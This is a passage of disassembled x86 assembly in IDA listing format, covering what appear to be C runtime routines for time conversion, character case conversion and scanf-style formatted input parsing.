loc_41D5F5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5F5: ; CODE XREF: sub_41D5A8+2Cj ; sub_41D5A8+43j push [ebp+arg_0] loc_41D5F8: ; CODE XREF: sub_41D5A8+27j push 0 push dword_48B684 nop call near ptr 284052Ch loc_41D606: ; CODE XREF: sub_41D5A8+24j ; sub_41D5A8+4Bj pop esi leave retn sub_41D5A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D609 proc near ; CODE XREF: sub_4186B1+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41D6C5 cmp ebx, 8Ah jg loc_41D6C5 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43C054[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41D648 cmp edi, 2 jle short loc_41D648 inc esi loc_41D648: ; CODE XREF: sub_41D609+37j ; sub_41D609+3Cj call sub_420939 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43BF70 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41D6BB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41D6C1 cmp dword_43BF74, 0 jz short loc_41D6C1 lea eax, [ebp+var_24] push eax call sub_420BAC pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41D6C1 loc_41D6BB: ; CODE XREF: sub_41D609+90j add ecx, dword_43BF78 loc_41D6C1: ; CODE XREF: sub_41D609+96j ; sub_41D609+9Fj ... mov eax, ecx jmp short loc_41D6C8 ; --------------------------------------------------------------------------- loc_41D6C5: ; CODE XREF: sub_41D609+13j ; sub_41D609+1Fj or eax, 0FFFFFFFFh loc_41D6C8: ; CODE XREF: sub_41D609+BAj pop ebx leave retn sub_41D609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6CB proc near ; CODE XREF: sub_418833+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_48A0A8, 0 push ebx jnz short loc_41D6F6 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41D794 cmp eax, 7Ah jg loc_41D794 sub eax, 20h jmp loc_41D794 ; --------------------------------------------------------------------------- loc_41D6F6: ; CODE XREF: sub_41D6CB+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41D729 cmp dword_4397AC, 1 jle short loc_41D716 push 2 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41D721 ; --------------------------------------------------------------------------- loc_41D716: ; CODE XREF: sub_41D6CB+3Dj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 2 loc_41D721: ; CODE XREF: sub_41D6CB+49j test eax, eax jnz short loc_41D729 loc_41D725: ; CODE XREF: sub_41D6CB+AFj mov eax, ebx jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D729: ; CODE XREF: sub_41D6CB+34j ; sub_41D6CB+58j mov edx, off_4395A0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D74C and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41D755 ; --------------------------------------------------------------------------- loc_41D74C: ; CODE XREF: sub_41D6CB+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41D755: ; CODE XREF: sub_41D6CB+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_41D725 cmp eax, 1 jnz short loc_41D787 movzx eax, [ebp+var_4] jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D787: ; CODE XREF: sub_41D6CB+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D794: ; CODE XREF: sub_41D6CB+14j ; sub_41D6CB+1Dj ... pop ebx leave retn sub_41D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D797 proc near ; CODE XREF: sub_418A52+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41E19D mov edi, [ebp+arg_0] jmp short loc_41D7C6 ; --------------------------------------------------------------------------- loc_41D7C1: ; CODE XREF: sub_41D797+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41D7C6: ; CODE XREF: sub_41D797+28j cmp dword_4397AC, 1 jle short loc_41D7DE movzx eax, al push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D7ED ; --------------------------------------------------------------------------- loc_41D7DE: ; CODE XREF: sub_41D797+36j mov ecx, off_4395A0 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41D7ED: ; CODE XREF: sub_41D797+45j cmp eax, ebx jz short loc_41D827 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41E224 pop ecx pop ecx push eax call sub_41E20D movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 add esp, 0Ch loc_41D815: ; CODE XREF: sub_41D797+8Ej test eax, eax jz short loc_41D827 movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 pop ecx jmp short loc_41D815 ; --------------------------------------------------------------------------- loc_41D827: ; CODE XREF: sub_41D797+58j ; sub_41D797+80j cmp byte ptr [esi], 25h jnz loc_41E109 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41D85E: ; CODE XREF: sub_41D797+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_4397AC, 1 jle short loc_41D87B movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D88A ; --------------------------------------------------------------------------- loc_41D87B: ; CODE XREF: sub_41D797+D3j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41D88A: ; CODE XREF: sub_41D797+E2j test eax, eax jz short loc_41D8A0 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8A0: ; CODE XREF: sub_41D797+F5j cmp ebx, 4Eh jg short loc_41D8E3 jz short loc_41D905 cmp ebx, 2Ah jz short loc_41D8DE cmp ebx, 46h jz short loc_41D905 cmp ebx, 49h jz short loc_41D8C0 cmp ebx, 4Ch jnz short loc_41D8F2 inc [ebp+var_D] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8C0: ; CODE XREF: sub_41D797+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41D8F2 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41D8F2 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8DE: ; CODE XREF: sub_41D797+113j inc [ebp+var_E] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8E3: ; CODE XREF: sub_41D797+10Cj cmp ebx, 68h jz short loc_41D8FF cmp ebx, 6Ch jz short loc_41D8F7 cmp ebx, 77h jz short loc_41D8FA loc_41D8F2: ; CODE XREF: sub_41D797+122j ; sub_41D797+12Dj ... inc [ebp+var_F] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8F7: ; CODE XREF: sub_41D797+154j inc [ebp+var_D] loc_41D8FA: ; CODE XREF: sub_41D797+159j inc [ebp+var_5] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8FF: ; CODE XREF: sub_41D797+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41D905: ; CODE XREF: sub_41D797+107j ; sub_41D797+10Ej ... cmp [ebp+var_F], 0 jz loc_41D85E cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41D92A mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41D92A: ; CODE XREF: sub_41D797+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41D948 mov al, [esi] cmp al, 53h jz short loc_41D944 cmp al, 43h jz short loc_41D944 or [ebp+var_5], 0FFh jmp short loc_41D948 ; --------------------------------------------------------------------------- loc_41D944: ; CODE XREF: sub_41D797+1A1j ; sub_41D797+1A5j mov [ebp+var_5], 1 loc_41D948: ; CODE XREF: sub_41D797+19Bj ; sub_41D797+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41D981 cmp esi, 63h jz short loc_41D972 cmp esi, 7Bh jz short loc_41D972 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41E224 pop ecx jmp short loc_41D97D ; --------------------------------------------------------------------------- loc_41D972: ; CODE XREF: sub_41D797+1C5j ; sub_41D797+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 loc_41D97D: ; CODE XREF: sub_41D797+1D9j pop ecx mov [ebp+var_14], eax loc_41D981: ; CODE XREF: sub_41D797+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41D991 cmp [ebp+var_C], eax jz loc_41E16D loc_41D991: ; CODE XREF: sub_41D797+1EFj cmp esi, 6Fh jg loc_41DBF8 jz loc_41DEAA cmp esi, 63h jz loc_41DBD5 cmp esi, 64h jz loc_41DEAA jle loc_41DC22 cmp esi, 67h jle short loc_41D9F5 cmp esi, 69h jz short loc_41D9DD cmp esi, 6Eh jnz loc_41DC22 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41E0D8 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41D9DD: ; CODE XREF: sub_41D797+229j push 64h pop esi loc_41D9E0: ; CODE XREF: sub_41D797+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41DC6A mov [ebp+var_17], 1 jmp loc_41DC6F ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D797+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41DA11 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41DA16 ; --------------------------------------------------------------------------- loc_41DA11: ; CODE XREF: sub_41D797+26Aj cmp ebx, 2Bh jnz short loc_41DA2D loc_41DA16: ; CODE XREF: sub_41D797+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41DA2D: ; CODE XREF: sub_41D797+27Dj mov edi, [ebp+arg_0] loc_41DA30: ; CODE XREF: sub_41D797+294j cmp [ebp+var_20], 0 jz short loc_41DA3F cmp [ebp+var_C], 15Dh jle short loc_41DA46 loc_41DA3F: ; CODE XREF: sub_41D797+29Dj mov [ebp+var_C], 15Dh loc_41DA46: ; CODE XREF: sub_41D797+2A6j ; sub_41D797+2F2j cmp dword_4397AC, 1 jle short loc_41DA5B push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DA66 ; --------------------------------------------------------------------------- loc_41DA5B: ; CODE XREF: sub_41D797+2B6j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DA66: ; CODE XREF: sub_41D797+2C2j test eax, eax jz short loc_41DA8B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DA8B inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA46 ; --------------------------------------------------------------------------- loc_41DA8B: ; CODE XREF: sub_41D797+2D1j ; sub_41D797+2DBj cmp byte_4397B0, bl jnz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax mov al, byte_4397B0 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41DAB4: ; CODE XREF: sub_41D797+360j cmp dword_4397AC, 1 jle short loc_41DAC9 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DAD4 ; --------------------------------------------------------------------------- loc_41DAC9: ; CODE XREF: sub_41D797+324j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DAD4: ; CODE XREF: sub_41D797+330j test eax, eax jz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DAB4 ; --------------------------------------------------------------------------- loc_41DAF9: ; CODE XREF: sub_41D797+2FAj ; sub_41D797+304j ... cmp [ebp+var_1C], 0 jz loc_41DB91 cmp ebx, 65h jz short loc_41DB11 cmp ebx, 45h jnz loc_41DB91 loc_41DB11: ; CODE XREF: sub_41D797+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41DB38 mov [esi], al inc esi jmp short loc_41DB3D ; --------------------------------------------------------------------------- loc_41DB38: ; CODE XREF: sub_41D797+39Aj cmp ebx, 2Bh jnz short loc_41DB5B loc_41DB3D: ; CODE XREF: sub_41D797+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41DB4C and [ebp+var_C], eax jmp short loc_41DB5B ; --------------------------------------------------------------------------- loc_41DB4C: ; CODE XREF: sub_41D797+3AEj ; sub_41D797+3F8j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DB5B: ; CODE XREF: sub_41D797+3A4j ; sub_41D797+3B3j cmp dword_4397AC, 1 jle short loc_41DB70 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DB7B ; --------------------------------------------------------------------------- loc_41DB70: ; CODE XREF: sub_41D797+3CBj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DB7B: ; CODE XREF: sub_41D797+3D7j test eax, eax jz short loc_41DB91 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41DB4C ; --------------------------------------------------------------------------- loc_41DB91: ; CODE XREF: sub_41D797+366j ; sub_41D797+374j ... dec [ebp+var_4] push edi push ebx call sub_41E20D cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43B908 add esp, 0Ch jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DBD5: ; CODE XREF: sub_41D797+20Cj cmp [ebp+var_20], eax jnz short loc_41DBE4 inc [ebp+var_C] mov [ebp+var_20], 1 loc_41DBE4: ; CODE XREF: sub_41D797+441j cmp [ebp+var_5], 0 jle short loc_41DBEE mov [ebp+var_16], 1 loc_41DBEE: ; CODE XREF: sub_41D797+451j mov edi, offset dword_43B930 jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DBF8: ; CODE XREF: sub_41D797+1FDj mov eax, esi sub eax, 70h jz loc_41DEA6 sub eax, 3 jz loc_41DCF4 dec eax dec eax jz loc_41DEAA sub eax, 3 jz loc_41D9E0 sub eax, 3 jz short loc_41DC46 loc_41DC22: ; CODE XREF: sub_41D797+21Bj ; sub_41D797+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41E16D dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41E0FE mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DC46: ; CODE XREF: sub_41D797+489j cmp [ebp+var_5], 0 jle short loc_41DC50 mov [ebp+var_16], 1 loc_41DC50: ; CODE XREF: sub_41D797+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41DD07 mov eax, edi lea edi, [eax+1] jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DC6A: ; CODE XREF: sub_41D797+24Fj cmp ebx, 2Bh jnz short loc_41DC91 loc_41DC6F: ; CODE XREF: sub_41D797+259j dec [ebp+var_C] jnz short loc_41DC80 cmp [ebp+var_20], 0 jz short loc_41DC80 mov [ebp+var_F], 1 jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D797+4DBj ; sub_41D797+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DC91: ; CODE XREF: sub_41D797+4D6j ; sub_41D797+4E7j cmp ebx, 30h jnz loc_41DEDF push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41DCDF cmp bl, 58h jz short loc_41DCDF cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41DCC9 push 6Fh loc_41DCC3: ; CODE XREF: sub_41D797+55Bj pop esi jmp loc_41DEDF ; --------------------------------------------------------------------------- loc_41DCC9: ; CODE XREF: sub_41D797+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx push 30h pop ebx jmp loc_41DEDC ; --------------------------------------------------------------------------- loc_41DCDF: ; CODE XREF: sub_41D797+517j ; sub_41D797+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41DCC3 ; --------------------------------------------------------------------------- loc_41DCF4: ; CODE XREF: sub_41D797+46Fj cmp [ebp+var_5], 0 jle short loc_41DCFE mov [ebp+var_16], 1 loc_41DCFE: ; CODE XREF: sub_41D797+561j mov edi, offset dword_43B928 loc_41DD03: ; CODE XREF: sub_41D797+45Cj ; sub_41D797+4CEj or [ebp+var_18], 0FFh loc_41DD07: ; CODE XREF: sub_41D797+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_417330 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41DD2B cmp byte ptr [edi], 5Dh jnz short loc_41DD2B mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD2B: ; CODE XREF: sub_41D797+584j ; sub_41D797+589j mov dl, [ebp+var_35] loc_41DD2E: ; CODE XREF: sub_41D797+592j ; sub_41D797+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41DD93 inc edi cmp al, 2Dh jnz short loc_41DD7A test dl, dl jz short loc_41DD7A mov cl, [edi] cmp cl, 5Dh jz short loc_41DD7A inc edi cmp dl, cl jnb short loc_41DD4D mov al, cl jmp short loc_41DD51 ; --------------------------------------------------------------------------- loc_41DD4D: ; CODE XREF: sub_41D797+5B0j mov al, dl mov dl, cl loc_41DD51: ; CODE XREF: sub_41D797+5B4j cmp dl, al ja short loc_41DD76 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41DD5E: ; CODE XREF: sub_41D797+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41DD5E loc_41DD76: ; CODE XREF: sub_41D797+5BCj xor dl, dl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD7A: ; CODE XREF: sub_41D797+5A0j ; sub_41D797+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD93: ; CODE XREF: sub_41D797+59Bj cmp byte ptr [edi], 0 jz loc_41E19D cmp [ebp+var_3C], 7Bh jnz short loc_41DDA5 mov [ebp+arg_4], edi loc_41DDA5: ; CODE XREF: sub_41D797+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41E20D pop ecx pop ecx loc_41DDBC: ; CODE XREF: sub_41D797+6BCj ; sub_41D797+6C4j cmp [ebp+var_20], 0 jz short loc_41DDD0 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41DE6C loc_41DDD0: ; CODE XREF: sub_41D797+629j inc [ebp+var_4] push edi call sub_41E1F3 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41DE60 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41DE60 cmp [ebp+var_E], 0 jnz short loc_41DE58 cmp [ebp+var_16], 0 jz short loc_41DE4D mov ecx, off_4395A0 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41DE2C inc [ebp+var_4] push edi call sub_41E1F3 pop ecx mov [ebp+var_37], al loc_41DE2C: ; CODE XREF: sub_41D797+686j push dword_4397AC lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_420E98 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41DE50 ; --------------------------------------------------------------------------- loc_41DE4D: ; CODE XREF: sub_41D797+673j mov [esi], al inc esi loc_41DE50: ; CODE XREF: sub_41D797+6B4j mov [ebp+var_2C], esi jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE58: ; CODE XREF: sub_41D797+66Dj inc [ebp+var_30] jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE60: ; CODE XREF: sub_41D797+649j ; sub_41D797+667j dec [ebp+var_4] push edi push eax call sub_41E20D pop ecx pop ecx loc_41DE6C: ; CODE XREF: sub_41D797+633j cmp [ebp+var_30], esi jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41E0FE cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41DE9E and word ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DE9E: ; CODE XREF: sub_41D797+6FCj and byte ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DEA6: ; CODE XREF: sub_41D797+466j mov [ebp+var_D], 1 loc_41DEAA: ; CODE XREF: sub_41D797+203j ; sub_41D797+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41DEB8 mov [ebp+var_17], 1 jmp short loc_41DEBD ; --------------------------------------------------------------------------- loc_41DEB8: ; CODE XREF: sub_41D797+719j cmp ebx, 2Bh jnz short loc_41DEDF loc_41DEBD: ; CODE XREF: sub_41D797+71Fj dec [ebp+var_C] jnz short loc_41DECE cmp [ebp+var_20], 0 jz short loc_41DECE mov [ebp+var_F], 1 jmp short loc_41DEDF ; --------------------------------------------------------------------------- loc_41DECE: ; CODE XREF: sub_41D797+729j ; sub_41D797+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax loc_41DEDC: ; CODE XREF: sub_41D797+543j mov [ebp+var_14], ebx loc_41DEDF: ; CODE XREF: sub_41D797+4FDj ; sub_41D797+52Dj ... cmp [ebp+var_30], 0 jz loc_41DFF8 cmp [ebp+var_F], 0 jnz loc_41DFD6 loc_41DEF3: ; CODE XREF: sub_41D797+82Cj cmp esi, 78h jnz short loc_41DF47 cmp dword_4397AC, 1 jle short loc_41DF10 push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF1D ; --------------------------------------------------------------------------- loc_41DF10: ; CODE XREF: sub_41D797+768j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 80h loc_41DF1D: ; CODE XREF: sub_41D797+777j test eax, eax jz loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_420F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DF9A ; --------------------------------------------------------------------------- loc_41DF47: ; CODE XREF: sub_41D797+75Fj cmp dword_4397AC, 1 jle short loc_41DF5C push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF67 ; --------------------------------------------------------------------------- loc_41DF5C: ; CODE XREF: sub_41D797+7B7j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DF67: ; CODE XREF: sub_41D797+7C3j test eax, eax jz short loc_41DFC8 cmp esi, 6Fh jnz short loc_41DF85 cmp ebx, 38h jge short loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_420F90 jmp short loc_41DF94 ; --------------------------------------------------------------------------- loc_41DF85: ; CODE XREF: sub_41D797+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_417760 loc_41DF94: ; CODE XREF: sub_41D797+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41DF9A: ; CODE XREF: sub_41D797+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41DFB2 dec [ebp+var_C] jz short loc_41DFD6 loc_41DFB2: ; CODE XREF: sub_41D797+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41DEF3 ; --------------------------------------------------------------------------- loc_41DFC8: ; CODE XREF: sub_41D797+788j ; sub_41D797+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41DFD6: ; CODE XREF: sub_41D797+756j ; sub_41D797+819j cmp [ebp+var_17], 0 jz loc_41E0BC mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41E0BC ; --------------------------------------------------------------------------- loc_41DFF8: ; CODE XREF: sub_41D797+74Cj cmp [ebp+var_F], 0 jnz loc_41E0B4 loc_41E002: ; CODE XREF: sub_41D797+90Aj cmp esi, 78h jz short loc_41E046 cmp esi, 70h jz short loc_41E046 cmp dword_4397AC, 1 jle short loc_41E021 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E021: ; CODE XREF: sub_41D797+87Cj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41E02C: ; CODE XREF: sub_41D797+888j test eax, eax jz short loc_41E0A6 cmp esi, 6Fh jnz short loc_41E03F cmp ebx, 38h jge short loc_41E0A6 shl edi, 3 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E03F: ; CODE XREF: sub_41D797+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E046: ; CODE XREF: sub_41D797+86Ej ; sub_41D797+873j cmp dword_4397AC, 1 jle short loc_41E05E push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short 